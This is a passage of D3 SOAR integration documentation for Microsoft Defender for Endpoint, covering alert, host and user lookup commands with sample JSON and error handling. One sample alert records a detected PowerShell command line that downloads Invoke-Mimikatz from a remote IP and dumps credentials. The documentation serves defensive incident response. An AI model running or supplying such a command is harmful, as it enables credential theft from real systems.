"lastUpdateTime": "2021-04-19T22:03:52.0666667Z",
"resolvedTime": null,
"machineId": "***************************************",
"computerDnsName": "***.***.***",
"rbacGroupName": null,
"aadTenantId": "***************************************",
"threatName": null,
"mitreTechniques": [
"***.***"
],
"relatedUser": {
"userName": "***",
"domainName": "***"
},
"comments": [
{
"comment": "Eddie_Test",
"createdBy": "Automation",
"createdTime": "2021-04-19T22:03:52.0639327Z"
}
],
"evidence": [
{
"entityType": "User",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": ***************************************,
"sha256": ***************************************,
"fileName": *****,
"filePath": ***************************************,
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": ***************************************,
"parentProcessCreationTime": null,
"parentProcessFileName": ***************************************,
"parentProcessFilePath": ***************************************,
"ipAddress": ***************************************,
"url": null,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "***",
"userSid": "***************************************",
"aadUserId": ***************************************,
"userPrincipalName": ***,
"detectionStatus": null
},
{
"entityType": "Process",
"evidenceCreationTime": "2021-04-10T00:09:06.58Z",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.exe",
"filePath": "C:\\Windows\\***\\***\\v*.*",
"processId": 1856,
"processCommandLine": "\"***.exe\" -exec bypass -command \"IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds \" >c:\\windows\\out2.txt",
"processCreationTime": "2021-04-09T23:50:46.9640874Z",
"parentProcessId": 11424,
"parentProcessCreationTime": "2021-04-09T23:50:40.9549431Z",
"parentProcessFileName": "***.exe",
"parentProcessFilePath": "C:\\Users\\***\\***",
"ipAddress": null,
"url": null,
"registryKey": ***,
"registryHive": ***,
"registryValueType": ***,
"registryValue": ***,
"accountName": "***",
"domainName": "***",
"userSid": "***************************************",
"aadUserId": ***************************************,
"userPrincipalName": ***,
"detectionStatus": "Detected"
}
]
}
]
Key Fields
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
INCIDENTID
INVESTIGATIONID
ASSIGNEDTO
SEVERITY
STATUS
CLASSIFICATION
DETERMINATION
INVESTIGATIONSTATE
DETECTIONSOURCE
DETECTORID
CATEGORY
THREATFAMILYNAME
TITLE
DESCRIPTION
ALERTCREATIONTIME
FIRSTEVENTTIME
LASTEVENTTIME
LASTUPDATETIME
RESOLVEDTIME
MACHINEID
COMPUTERDNSNAME
RBACGROUPNAME
AADTENANTID
THREATNAME
MITRETECHNIQUES
RELATEDUSER
COMMENTS
EVIDENCE
***
***
Administrator
Medium
New
UnsupportedAlertType
WindowsDefenderAtp
***
Execution
Suspicious PowerShell command line
A suspicious PowerShell activity was observed on the machine. This behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Fetch Related Events failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The query specified in the URI is not valid
Error Sample Data
Fetch Related Events failed.
Status Code: 400.
Message: The query specified in the URI is not valid.
Get Alerts By ID
Retrieves alerts from Microsoft Defender for Endpoint based on the specified Alert IDs.
Reader Note
Limitations for this command:
You can get alerts last updated according to your configured retention period.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The input parameter Alert IDs is required to run this command.
Run the Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Related Event command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.
Input
Input Parameter
Required /Optional
Description
Example
Alert IDs
Required
The IDs of the alerts to retrieve. Alert IDs can be obtained using the Fetch Related Events command.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 enriches the context data from the original Microsoft Defender for Endpoint API response by adding the mitreTechniqueList field whose value is a string converted from the mitreTechniques array using the comma character as a delimiter.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"AlertIDs": [
"***************************************"
],
"Severities": [
"Low"
],
"Statuses": [
"New"
],
"DetectionSources": [
"WindowsDefenderAtp"
],
"Categories": [
"Discovery"
],
"Titles": [
"Suspicious sequence of exploration activities"
],
"Descriptions": [
"A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine."
],
"AlertCreationTime": [
"2021-08-12 00:09:19"
],
"FirstEventTime": [
"2021-08-12 00:05:29"
],
"LastEventTime": [
"2021-08-12 00:06:28"
],
"MachineIDs": [
"***************************************"
],
"ComputerDnsNames": [
"***.***.***"
],
"UserNames": [
"user1"
],
"UserDomainNames": [
"*****"
],
"ThreatNames": [
"None"
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
A process called a set of windows commands. These commands can be used by attackers in order to identify assets of value and coordinate lateral movement after compromising a machine.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Alerts By ID failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Error Sample Data
Get Alerts By ID failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Get File Related Alerts
Retrieves alerts from Microsoft Defender for Endpoint related to the specified file hashes.
Reader Note
The input parameter File Hashes is required to run this command.
Run Fetch Event or Fetch Related Events to obtain SHA-1 file hashes. You should already have your desired file hashes on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired file hashes. The file hash values can be found in the raw data under the key “sha1”.
Limitations for this command:
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Only the SHA-1 hash function is supported (no support for MD5 or SHA-256).
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
SAMPLE DATA
CODE
[
{
"id": "***************************************",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "Automation",
"severity": "Informational",
"status": "Resolved",
"classification": null,
"determination": null,
"investigationState": "SuccessfullyRemediated",
"detectionSource": "WindowsDefenderAv",
"detectorId": "***************************************",
"category": "Malware",
"threatFamilyName": "Skeeyah",
"title": "'Skeeyah' malware was prevented",
"description": "Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.",
"alertCreationTime": "2021-06-03T01:18:07.9677394Z",
"firstEventTime": "2021-06-03T00:10:50.6508615Z",
"lastEventTime": "2021-06-03T01:18:47.5046367Z",
"lastUpdateTime": "2021-06-03T07:03:34.3866667Z",
"resolvedTime": "2021-06-03T01:47:10.6966922Z",
"machineId": "***************************************",
"computerDnsName": "***-***.***.***",
"rbacGroupName": null,
"aadTenantId": "***************************************",
"threatName": "Trojan:Win32/Skeeyah!MTB",
"mitreTechniques": [],
"relatedUser": null,
"comments": [],
"evidence": [
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:34:25.3033333Z",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.zip",
"filePath": "C:\\Users\\***\\***",
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": *****,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": "***",
"domainName": "***",
"userSid": "***************************************",
"aadUserId": null,
"userPrincipalName": "***@***.***,
"detectionStatus": "Prevented"
},
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:31:35.3266667Z",
"sha1": "***************************************",
"sha256": null,
"fileName": "T1055.exe",
"filePath": "C:\\Users\\***\\***\\***\\***\\***\\***",
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": *****,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": "***",
"domainName": "***",
"userSid": "***************************************",
"aadUserId": null,
"userPrincipalName": "***@***.***",
"detectionStatus": "Detected"
},
{
"entityType": "File",
"evidenceCreationTime": "2021-06-03T01:18:08.05Z",
"sha1": "***************************************",
"sha256": "***************************************",
"fileName": "***.exe",
"filePath": "C:\\Users\\***\\***\\***",
"processId": *****,
"processCommandLine": null,
"processCreationTime": null,
"parentProcessId": null,
"parentProcessCreationTime": null,
"parentProcessFileName": null,
"parentProcessFilePath": null,
"ipAddress": ***,
"url": ***,
"registryKey": ***,
"registryHive": ***,
"registryValueType": null,
"registryValue": null,
"accountName": ***,
"domainName": ***,
"userSid": ***,
"aadUserId": ***,
"userPrincipalName": ***,
"detectionStatus": "Prevented"
}
],
"fileHash": "***************************************"
}
]
Key Fields
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"AlertIDs": [
"***************************************"
],
"Severities": [
"Informational"
],
"Statuses": [
"Resolved"
],
"DetectionSources": [
"WindowsDefenderAv"
],
"Categories": [
"Malware"
],
"Titles": [
"'Skeeyah' malware was prevented"
],
"Descriptions": [
"Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.\n\nThis detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection."
],
"AlertCreationTime": [
"2021-06-03 01:18:07"
],
"FirstEventTime": [
"2021-06-03 00:10:50"
],
"LastEventTime": [
"2021-06-03 01:18:47"
],
"MachineIDs": "\"***************************************\"]",
"ComputerDnsNames": [
"***.***.***"
],
"UserNames": [],
"UserDomainNames": [],
"ThreatNames": [
"Trojan:Win32/Skeeyah!MTB"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
INCIDENTID
INVESTIGATIONID
ASSIGNEDTO
SEVERITY
STATUS
CLASSIFICATION
DETERMINATION
INVESTIGATIONSTATE
DETECTIONSOURCE
DETECTORID
CATEGORY
THREATFAMILYNAME
TITLE
DESCRIPTION
ALERTCREATIONTIME
FIRSTEVENTTIME
LASTEVENTTIME
LASTUPDATETIME
RESOLVEDTIME
MACHINEID
COMPUTERDNSNAME
RBACGROUPNAME
AADTENANTID
THREATNAME
MITRETECHNIQUES
RELATEDUSER
COMMENTS
EVIDENCE
FILEHASH
***
***
***
Automation
Informational
Resolved
SuccessfullyRemediated
WindowsDefenderAv
***
Malware
Skeeyah
'Skeeyah' malware was prevented
Malware and unwanted software are undesirable applications that perform annoying, disruptive, or harmful actions on affected machines. Some of these undesirable applications can replicate and spread from one machine to another. Others are able to receive commands from remote attackers and perform activities associated with cyber attacks.
This detection might indicate that the malware was stopped from delivering its payload. However, it is prudent to check the machine for signs of infection.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get File Related Alerts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Error Sample Data
Get File Related Alerts failed.
Status Code: 400.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Get Host By Hashes
Retrieves a collection of machines related to the specified file hashes.
Reader Note
The input parameter File Hashes is required to run this command.
Run Fetch Event or Fetch Related Events to obtain SHA-1 file hashes. You should already have your desired file hashes on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired file hashes. The file hash values can be found in the raw data under the key “sha1”.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Only the SHA-1 hash function is supported (no support for MD5 or SHA-256).
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
No sample data
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host By Hashes failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Error Sample Data
Get Host By Hashes failed.
Status Code: 400.
Message: Currently only Sha1 is supported for this API. XXX is invalid Sha1.
Get Host By IP
Finds Machines seen with the requested internal IP in the time range of 15 minutes prior and after a given timestamp.
Reader Note
The input parameter IP Addresses is required to run this command.
Run the List Hosts command to obtain IP Addresses. The IP Addresses value can be found in raw data at the path $.value[*].lastIpAddress. Please note that IP addresses will only return when the value of the “healthStatus” field is active inside the JSON object. If you input other IP addresses, the command will run successfully with no returning results.
Limitations for this command:
The given timestamp must be in the past 30 days.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The IP addresses to search related hosts by. IP addresses can be obtained using the List Hosts command.
["***.***.***.***"]
Timestamp
Required
The timestamp in UTC time to filter results. Machines seen with the input IP addresses after the defined timestamp will be returned. Note: The defined timestamp must be within 30 days before the current date.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host By IP failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: XXX is not valid IP.
Error Sample Data
Get Host By IP failed.
Status Code: 400.
Message: XXX is not valid IP.
Get Host By User
Retrieves Machines related to the specified user names.
Reader Note
The input parameter User Names is required to run this command.
Run the Get Machine Logon Users command to obtain User Names. User Names can be found in the returned raw data at the path $.value[*].accountName.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host By User failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: No HTTP resource was found that matches the request URI.
Error Sample Data
Get Host By User failed.
Status Code: 404.
Message: No HTTP resource was found that matches the request URI.
Get Host Details
Retrieves Machines related to the specified device IDs or computer names.
Reader Note
The input parameter Hosts is required to run this command.
Run the List Hosts command to obtain Hosts. The input value can be the IDs (device IDs) from the returned raw data at the path $.value[*].computerDnsName.
Limitations for this command:
You can get devices last seen according to your configured retention policy.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Host Details failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine XXX was not found.
Error Sample Data
Get Host Details failed.
Status Code: 404.
Message: Machine XXX was not found.
Get Indicator By ID
Retrieves specified indicators by Indicator IDs.
Reader Note
The input parameter Indicator IDs is required to run this command.
Run the List Indicator command to obtain Indicator IDs. The Indicator IDs can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get indicator By ID failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Indicator 14 was not found.
Error Sample Data
Get indicator By ID failed.
Status Code: 404.
Message: Indicator 14 was not found.
Get Machine Logon Users
Retrieves a collection of logged on users on a specific device.
Reader Note
The input parameter Machine IDs is required to run this command.
Run the List Hosts command to obtain Machine IDs. The Machine IDs can be found in the raw data at the path $.value[*].id.
Please note that some machines may not have a logon user. In this case, the command will run successfully with no returning results.
Limitations for this command:
You can query on alerts last updated according to your configured retention period.
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON and adding machineId field to indicate your input Machine IDs.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
MACHINEID
ID
ACCOUNTNAME
ACCOUNTDOMAIN
ACCOUNTSID
FIRSTSEEN
LASTSEEN
MOSTPREVALENTMACHINEID
LEASTPREVALENTMACHINEID
LOGONTYPES
LOGONMACHINESCOUNT
ISDOMAINADMIN
ISONLYNETWORKUSER
***
***\***
***
***
6/1/2021 6:29:25 PM
6/3/2021 12:49:12 AM
Network, RemoteInteractive
True
***
***\***
***
***
6/1/2021 6:31:33 PM
6/3/2021 12:13:17 AM
Interactive
True
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Machine Logon Users failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine XXX was not found.
Error Sample Data
Get Machine Logon Users failed.
Status Code: 404.
Message: Machine XXX was not found.
Get Users By Alert
Retrieves users related to specified Alert IDs.
Reader Note
Limitations for this command:
You can query alerts by the last updated time according to your configured retention period.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The input parameter Alert IDs is required to run this command.
Run the Fetch Event or Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.
Not all alerts are related to a user. If you input an alert with no related users, the error message “There is no user related to alert…” will be returned.
Input
Input Parameter
Required /Optional
Description
Example
Alert IDs
Required
The ID(s) of the alert(s) to retrieve related user information from. Alert IDs can be obtained using the Fetch Event or Fetch Related Events commands.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
